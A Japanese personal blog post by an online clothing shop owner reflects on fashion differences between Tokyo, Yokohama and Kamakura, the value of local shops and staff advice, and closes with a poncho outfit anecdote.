差なんてあって当たり前
今日、Gunosyに引っかかってきたこんな記事を読みました。
『door.jp/minamimitsu00/archives/4240326.html" target="_blank">東京と地方のファッションの差(南充浩の繊維産業ブログ11/25)』
そんな長いテキストではないので詳細はリンクを読んでいただくとして、これをフェイスブックページにポストしたところ、鎌倉でショップをやっている友達が「鎌倉で既に(東京とは)違うし」とコメントをくれました。(※カッコ内は松下の脚注です)
このリアクションが面白かったのでブログにまとめることにしました(青木くん、他意はないのでここはひとつ穏便に……)。
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ローカルのプライドとは
シーズンごとに雑誌で特集が組まれる鎌倉の魅力の根っこにあるのは、”ローカルであることへの絶大なる信頼”だと思います。
ここ10年くらい横浜は元気がないのですが、東京にほど近いエリアでありながら、名が通っている場所に住まう者として、その”絶大なる信頼”のウラにあるのは”東京に対するアンチテーゼ”です。このふたつはもれなくセットになっているはずなので、僕は鎌倉には住んだことも働いたこともないですが、そんな外して無いでしょう。
僕自身、「アンチ東京」の気質は確かに有りますが、嫌いというわけではなく、憧れ反面疎ましいといったところです。コトバで表現するのは難しくて、ベイスターズを応援する地元民として読売が嫌いという方がよほどクリアな心境です。
でも関東圏外の人にとっては東京と横浜と鎌倉のファッション性の違いなんて分からないでしょうし、視座を置くポイントや、当事者性があるかないかで見え方は別のものになるんだと思うんですね。
東京というのは、良く言えば旬のモノや情報が集まる世界有数のトレンドであり、悪く言えばイナカモンの集まりです。ファッションにおいてのそれは渋谷原宿青山代官山の、地理的にもリンクしたごく一部のエリアを指します。原宿の人は「渋谷ってちょっとコドモすぎるよね~」って言ってるでしょうし、青山で働いてる人は「原宿ってちょっとストリート色強すぎだよね」みたいなこと言ってるでしょう、たぶん。視座を低くすればそれぞれ「あそことは違うよ」って。
Buy Fresh, Buy Local (lomo) / stevegarfield

東京のストロングポイントは、「一番早い」です
より早く、よりアプローチしやすい
僕は以前大阪が本拠地のメーカー直営店で働いていましたが、プレスルームを東京に置いたら、全国規模のファッション誌での露出は格段に増えました。それは編集部も都内にあって、お互いアプローチしやすくなったからでしょう。モロモロの事情から近年は誌上販売まで始めてるファッション誌ですが、個人的には昔みたくカタログ(+カルチャー紹介)に戻ってくれたほうがありがたいですね。
東京発信は全国に届く。それは確かにメリットでしょうが、違うトレンドが我が町にはあるというのなら、そちらの方がよほどリアルだし大切にするべきですよね。気質も人も違うんですから好まれるものも違うのは当たり前ですよ。雑誌に載っているものより「こっちの方がカッコいいし似合うよ」と服屋のにーちゃんが言うのなら、その町とあなたに馴染むのは後者のはずですよきっと。ショップスタッフは、その時間だけは(だけ、ですけどね)アナタのお抱えスタイリストなんですから。
Book store in Chicago / andyrs
(こういうこと書くと、「売らんがなのために店側の味方してるんでしょ」と思われるかもですが、以前ならともかく、今はお店もバカじゃありません。その日の売上のために押し売りするより、真摯に向き合って信用してもらう方が、長い目で見てお店の益になること分かってます。ま、良くも悪くも距離感が近い一店舗のローカルストアと、洪水のように人が行き交う駅ビルに入っているテナントストアのどちらが自分に合うかは人それぞれということで。)
今日はオンラインショップしかない自分の首を確実に絞めているなと自覚しつつ(笑…ってていいのやら)、首絞めついでにふと思いついた誰の役にも立ちそうにないコーディネートを。
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数年前、あまりのインパクトについ買ってしまった(はいいが一回しか着てない)Sasquatch Fabricのスウェットポンチョ。松下版リアルスナフキンだ!